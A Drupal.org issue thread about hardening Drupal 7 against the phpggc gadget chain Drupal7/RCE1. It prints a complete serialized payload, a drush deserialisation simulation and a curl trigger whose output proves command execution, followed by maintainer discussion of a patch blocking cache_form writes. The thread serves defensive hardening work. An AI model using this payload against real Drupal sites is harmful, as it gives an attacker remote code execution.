harden D7 against PHP Gadget Chain Drupal7/RCE1

Created on 31 July 2023, over 1 year ago
Updated 14 August 2023, over 1 year ago

Problem/Motivation

This was initially posted as a private security issue, but it's been agreed that it can be a public security hardening.

https://github.com/ambionics/phpggc/pull/28

..is fairly old but it still works in Drupal 7.98 today.

$ ./phpggc -i Drupal7/RCE1
Name           : Drupal7/RCE1
Version        : 7.0.8 < ?
Type           : RCE: Command
Vector         : __destruct

Informations   : 
You will need to post form_build_id=DrupalRCE to /?q=system/ajax once the payload is unserialized

./phpggc Drupal7/RCE1 <function> <parameter>

In order for this to be exploitable, there needs to be an unsafe deserialisation vulnerability in the first place, so core is almost certainly not directly exploitable.

Steps to reproduce

You can use drush to simulate exploitation of an insecure deserialisation vulnerability - for example:

1) Prepare the payload (note the flag to enable simple encoding):

$ ./phpggc -s Drupal7/RCE1 system id 

O:11:"SchemaCache":4:{s:6:"%00*%00cid"%3Bs:14:"form_DrupalRCE"%3Bs:6:"%00*%00bin"%3Bs:10:"cache_form"%3Bs:16:"%00*%00keysToPersist"%3Ba:3:{s:8:"#form_id"%3Bb:1%3Bs:8:"#process"%3Bb:1%3Bs:9:"#attached"%3Bb:1%3B}s:10:"%00*%00storage"%3Ba:3:{s:8:"#form_id"%3Bs:9:"DrupalRCE"%3Bs:8:"#process"%3Ba:1:{i:0%3Bs:23:"drupal_process_attached"%3B}s:9:"#attached"%3Ba:1:{s:6:"system"%3Ba:1:{i:0%3Ba:1:{i:0%3Bs:2:"id"%3B}}}}}

2) Use drush php to simulate unsafe deserialisation:

>>> var_dump(unserialize(urldecode('O:11:"SchemaCache":4:{s:6:"%00*%00cid"%3Bs:14:"form_DrupalRCE"%3Bs:6:"%00*%00bin"%3Bs:10:"cache_form"%3Bs:16:"%00*%00keysToPersist"%3Ba:3:{s:8:"#form_id"%3Bb:1%3Bs:8:"#process"%3Bb:1%3Bs:9:"#attached"%3Bb:1%3B}s:10:"%00*%00storage"%3Ba:3:{s:8:"#form_id"%3Bs:9:"DrupalRCE"%3Bs:8:"#process"%3Ba:1:{i:0%3Bs:23:"drupal_process_attached"%3B}s:9:"#attached"%3Ba:1:{s:6:"system"%3Ba:1:{i:0%3Ba:1:{i:0%3Bs:2:"id"%3B}}}}}')));
object(SchemaCache)#5815 (4) {
  ["cid":protected]=>
  string(14) "form_DrupalRCE"
  ["bin":protected]=>
  string(10) "cache_form"
  ["keysToPersist":protected]=>
  array(3) {
    ["#form_id"]=>
    bool(true)
    ["#process"]=>
    bool(true)
    ["#attached"]=>
    bool(true)
  }
  ["storage":protected]=>
  array(3) {
    ["#form_id"]=>
    string(9) "DrupalRCE"
    ["#process"]=>
    array(1) {
      [0]=>
      string(23) "drupal_process_attached"
    }
    ["#attached"]=>
    array(1) {
      ["system"]=>
      array(1) {
        [0]=>
        array(1) {
          [0]=>
          string(2) "id"
        }
      }
    }
  }
}
=> null

There should now be a row in the cache_form table containing the 2nd stage payload:

> SELECT * FROM cache_form;
+----------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------+--------+------------+------------+
| cid            | data                                                                                                                                                          | expire | created    | serialized |
+----------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------+--------+------------+------------+
| form_DrupalRCE | a:3:{s:8:"#form_id";s:9:"DrupalRCE";s:8:"#process";a:1:{i:0;s:23:"drupal_process_attached";}s:9:"#attached";a:1:{s:6:"system";a:1:{i:0;a:1:{i:0;s:2:"id";}}}} |      0 | 1689338824 |          1 |
+----------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------+--------+------------+------------+

3) Trigger the payload with a POST request:

$ curl -i http://drupal-7.x.ddev.site/?q=system/ajax --data 'form_build_id=DrupalRCE'
HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Fri, 14 Jul 2023 13:01:30 GMT
Content-Type: application/json; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
X-Drupal-Ajax-Token: 1
Set-Cookie: SESS264c9fbfb19084e07d9b231ebb613ebc=w5jIuLVNukqF7AEcW-htiUtdlMCKfQN4XOZIKSL2H6M; expires=Sun, 06-Aug-2023 16:34:50 GMT; Max-Age=2000000; path=/; domain=.drupal-7.x.ddev.site; HttpOnly

uid=1000(mcdruid) gid=1000(mcdruid) groups=1000(mcdruid)

[{"command":"settings","settings":{"basePath":"\/","pathPrefix":"","setHasJsCookie":0,"ajaxPageState":{"theme":"bartik","theme_token":"CM8S90VFpFtXTZlyWSRrnOAqfwY4m2tDcq-Zv50WUBw"}},"merge":true}]

The important part of the response is the output of the id shell command, proving RCE.

Proposed resolution

Harden D7 against this, if we can do so without breaking existing functionality.

Remaining tasks

write patch, review, commit etc..

User interface changes

n/a

API changes

none that should affect anyone but an attacker

Data model changes

n/a

Release notes snippet

necessary?

πŸ› Bug report
Status

Fixed

Version

7.0 ⚰️

Component
BootstrapΒ  β†’

Last updated about 18 hours ago

No maintainer
Created by

πŸ‡¬πŸ‡§United Kingdom mcdruid πŸ‡¬πŸ‡§πŸ‡ͺπŸ‡Ί

Live updates comments and jobs are added and updated live.
  • Security improvements

    It makes Drupal less vulnerable to abuse or misuse. Note, this is the preferred tag, though the Security tag has a large body of issues tagged to it. Do NOT publicly disclose security vulnerabilities; contact the security team instead. Anyone (whether security team or not) can apply this tag to security improvements that do not directly present a vulnerability e.g. hardening an API to add filtering to reduce a common mistake in contributed modules.

Sign in to follow issues

Comments & Activities

  • Issue created by @mcdruid
  • πŸ‡¬πŸ‡§United Kingdom mcdruid πŸ‡¬πŸ‡§πŸ‡ͺπŸ‡Ί

    Initial patch which prevents the exploit from working.

    This includes a variable that would allow sites to opt out of this should they actually need \DrupalCacheArray::__destruct() to persist key/value pairs into cache_form.

    I think it's likely to be very rare that sites would need this opt-out, so I'd propose that we don't add the variable to default.settings.php

  • πŸ‡¬πŸ‡§United Kingdom mcdruid πŸ‡¬πŸ‡§πŸ‡ͺπŸ‡Ί
  • Status changed to Needs review over 1 year ago
  • last update over 1 year ago
    2,159 pass
  • πŸ‡¬πŸ‡§United Kingdom mcdruid πŸ‡¬πŸ‡§πŸ‡ͺπŸ‡Ί
  • last update over 1 year ago
    2,159 pass
  • last update over 1 year ago
    2,120 pass
  • last update over 1 year ago
    2,159 pass
  • last update over 1 year ago
    2,155 pass
  • Open in Jenkins β†’ Open on Drupal.org β†’
    Environment: PHP 7.4 & PostgreSQL 9.5
    last update over 1 year ago
    2,120 pass
  • last update over 1 year ago
    2,159 pass
  • last update over 1 year ago
    2,159 pass
  • last update over 1 year ago
    2,159 pass
  • πŸ‡¬πŸ‡§United Kingdom mcdruid πŸ‡¬πŸ‡§πŸ‡ͺπŸ‡Ί

    There's a risk that we might not notice a problem caused by a change to this functionality as it may only cause a performance degradation as there are more cache misses, as opposed to actually breaking anything.

    I'm curious about whether the D7 test suite actually exercises this functionality much.

    It looks like it's very common for the destructor to persist data into the "cache" bin as part of tests, and there are a couple of mentions of DrupalCacheArray's behaviour in drupal_web_test_case.php for example.

    This patch is an experiment to see whether the test suite results in anything being "persisted" to a cache bin other than the default.

    If it does, we should get exceptions that will be easy to see in the results.

    To be clear, this is not something we'd actually commit.. and nobody should apply it to their site unless they're also trying a similar experiment to see if their custom code/tests results in writes to non-default cache bins from this destructor.

  • πŸ‡¬πŸ‡§United Kingdom mcdruid πŸ‡¬πŸ‡§πŸ‡ͺπŸ‡Ί

    Hmm, so unless I'm missing something that suggests that the D7 test suite doesn't do anything that results in DrupalCacheArray writing to a cache bin other than the default "cache".

    If we don't exclude that default cache bin, a lot of tests end up throwing errors like:

    Exception: Persisting data to cache bin cache: link in /var/www/html/includes/bootstrap.inc:469
    Stack trace:
    #0 /var/www/html/includes/bootstrap.inc(3786): DrupalCacheArray->__destruct()
    #1 /var/www/html/includes/bootstrap.inc(3802): drupal_static('theme_get_regis...', NULL, true)
    #2 /var/www/html/modules/simpletest/drupal_web_test_case.php(1903): drupal_static_reset()
    #3 /var/www/html/modules/simpletest/drupal_web_test_case.php(1820): DrupalWebTestCase->resetAll()
    #4 /var/www/html/modules/simpletest/tests/theme.test(687): DrupalWebTestCase->setUp('theme_test')
    #5 /var/www/html/modules/simpletest/drupal_web_test_case.php(563): ModuleProvidedThemeEngineTestCase->setUp()
    #6 /var/www/html/scripts/run-tests.sh(429): DrupalTestCase->run(Array)
    #7 /var/www/html/scripts/run-tests.sh(26): simpletest_script_run_one_test('9', 'ModuleProvidedT...')
    #8 {main}FATAL ModuleProvidedThemeEngineTestCase: test runner returned a non-zero error code (2).
    

    I've been wondering whether we'd be better to take an allow-list or block-list approach here.

    The result of this experiment makes me think we're probably okay to just block cache_form specifically (with the opt-out variable in case that breaks things on specific sites) - which is what patch #2 does.

    The problem with cache_form specifically is the fact that the ajax system provides a way to execute the payload. Even if an attacker can write their own data to other cache bins/tables, it doesn't matter much if they can't then do anything with the data they've written to cache.

  • πŸ‡ΈπŸ‡°Slovakia poker10

    Thanks for working on this @mcdruid!

    Let's summarize this. If I understand this correctly, you can "trick" the DrupalCacheArray by manually constructing a SchemaCache or ThemeRegistry object and using an insecure deserialisation to write to a diffent cache bin - specifically the cache_form (the different I mean when comparing with what the D7 core does). Then this data/payload can be retrieved and executed by calling the system/ajax (which is how ajax forms works). Is this correct?

    When looking at the D7 core code, it seems like these are the only two classes extending and using the DrupalCacheArray and when used in core, these are writing to the cache bin by default.

    I have not seen any attempts to write to cache_form via DrupalCacheArray when "manually" testing this on a demo site. Writes to the cache_form were via form_set_cache() method. I know this is not a 100% proof, but I think that I agree with this:

    I think it's likely to be very rare that sites would need this opt-out,

    Regarding this:

    I've been wondering whether we'd be better to take an allow-list or block-list approach here.

    If everything I said above is correct, then I think, we should be fine with what the patch #2 does. We does not need to offer possibility to allow/block-list other cache bins, if those does not have the possibility to execute the payload afterwards, see:

    The problem with cache_form specifically is the fact that the ajax system provides a way to execute the payload. Even if an attacker can write their own data to other cache bins/tables, it doesn't matter much if they can't then do anything with the data they've written to cache.

    We can, probably, try to grep a bunch of contrib modules (if you have that possibility), if there are any modules extending the DrupalCacheArray and using the cache_form bin by default (so that we would not block these regular writes to that bin), but I do not think so.

    There seems to be one more possible scenario, how the write to cache_form regularly via DrupalCacheArray. The ThemeRegistry class allows to define a bin on initialization. So if there is anyone using the ThemeRegistry with a different bin (for example cache_form), then this code would write to cache_form either (and the patch in #2 would block this). But I think this is very unlikely to happen.

  • πŸ‡¬πŸ‡§United Kingdom mcdruid πŸ‡¬πŸ‡§πŸ‡ͺπŸ‡Ί

    Thanks for taking a look @poker10... yes, your summary matches my understand of what's going on.

    It's a clever hack that someone came up with to abuse DrupalCacheArray's ability to persist keys/values to the db (/ other cache storage) which allows them to inject a payload that can then be executed via the ajax system in a second request.

    I also don't see any evidence of core using the functionality to write to a bin other than the default "cache" but perhaps it's plausible that contrib / custom code does.

    As we know, cache_form isn't really a cache so I think it's probably quite safe to assume that it's really unlikely anyone's deliberately / legitimately writing to cache_form like this.

    We can provide the override/opt-out variable just in case, but I think it's so unlikely to be used that we should not clutter up default.settings.php with it; it could be documented in a CR (and here).

    So with all that confirmed, do you think this needs anything else before RTBC / commit?

  • Status changed to RTBC over 1 year ago
  • πŸ‡ΈπŸ‡°Slovakia poker10

    Yeah, we can keep the opt-out variable just in case, so I think the patch #2 looks good. Agree that we do not need to add it to the default.settings.php.

    I cannot think of anything else right now, except the change record, so I think this could be RTBC. Thanks!

  • last update over 1 year ago
    2,159 pass
  • πŸ‡¬πŸ‡§United Kingdom mcdruid πŸ‡¬πŸ‡§πŸ‡ͺπŸ‡Ί

    Thanks for the review.

    I drafted a CR at [#3381030].

    I'll try to get this committed today so that there's plenty of time for it to be tested in dev before the next D7 release.

    • mcdruid β†’ committed e334c49d on 7.x
      Issue #3378257 by mcdruid, poker10: harden D7 against PHP Gadget Chain...
  • Status changed to Fixed over 1 year ago
  • πŸ‡¬πŸ‡§United Kingdom mcdruid πŸ‡¬πŸ‡§πŸ‡ͺπŸ‡Ί

    Thank you!

  • Automatically closed - issue fixed for 2 weeks with no activity.

Production build 0.71.5 2024